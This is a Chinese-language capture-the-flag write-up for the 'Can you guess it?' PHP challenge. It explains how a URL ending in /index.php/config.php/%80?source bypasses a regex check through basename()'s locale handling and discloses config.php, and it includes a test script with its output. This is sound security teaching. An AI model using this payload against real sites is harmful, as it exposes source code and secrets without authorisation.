Challenge (URL)
题目文件: Can_you_guess_it_ffc668f78ed564bf7a62463fd16bc26c.tar.gz
index.php
内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>
secret由bin2hex(random_bytes(64))
生成,如果这个值匹配就能得到flag,但看下PHP文档 就知道这不太现实。
因此需要用其他的方法得到FLAG,从include 'config.php'; // FLAG is defined in config.php
可以知道FLAG在config.php中,也就是说,我么需要某种方式读取config.php
注意到highlight_file(basename($_SERVER['PHP_SELF']));
,这里很可疑,basename是一个返回指定路径文件名的函数,$_SERVER['PHP_SELF']
是当前正在执行的脚本的文件名,这里是用于显示自身源码。
但是,为什么开头有一个检查,要求$_SERVER['PHP_SELF']
不是以config.php
结尾的字符串。这是因为,如果访问的是/index.php/config.php
(运行的是index.php), 这种情况下$_SERVER['PHP_SELF']
是/index.php/config.php
,但basename返回的是config.php
,因此highlight_file
会将config.php
的内容显示出来。也就是说,如果绕过了这个检查,我们就能够得到FLAG。
看一下basename的文档 。
注意这一句:
Note :
basename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function.
为了获得包含多字节字符的路径的正确结果,需要预先使用setlocale()
进行适当设置。 那如果没有进行恰当的设置会发生什么,我们可以简单测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $ docker run --rm -it php:7.3-apache bash ︙ root@a06cc21f03e1:/tmp# apt install -y libicu-dev root@a06cc21f03e1:/tmp# docker-php-ext-install intl root@a06cc21f03e1:/tmp# cat test.php <?php function check($str) { return preg_match('/config\.php\/*$/i', $str); } for ($i = 0; $i < 0x100; $i++) { $s = '/index.php/config.php/' . IntlChar::chr($i); if (!check($s)) { $t = basename('/index.php/config.php/' . chr($i)); echo "${i}: ${t}\n"; } } root@a06cc21f03e1:/tmp# php test.php ︙ 120: x 121: y 122: z 123: { 124: | 125: } 126: ~ 127: ^? 128: config.php 129: config.php 130: config.php 131: config.php 132: config.php ︙
/index.php/config.php/%80
就可以绕过开始的检查,让basename返回config.php
,因此访http://URL/index.php/config.php/%80?source
的话,就能够得到config.php的内容。
参考资料 https://st98.github.io/diary/posts/2020-03-09-zer0pts-ctf-2020.html
Last updated: 2020-03-10 10:17:59
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会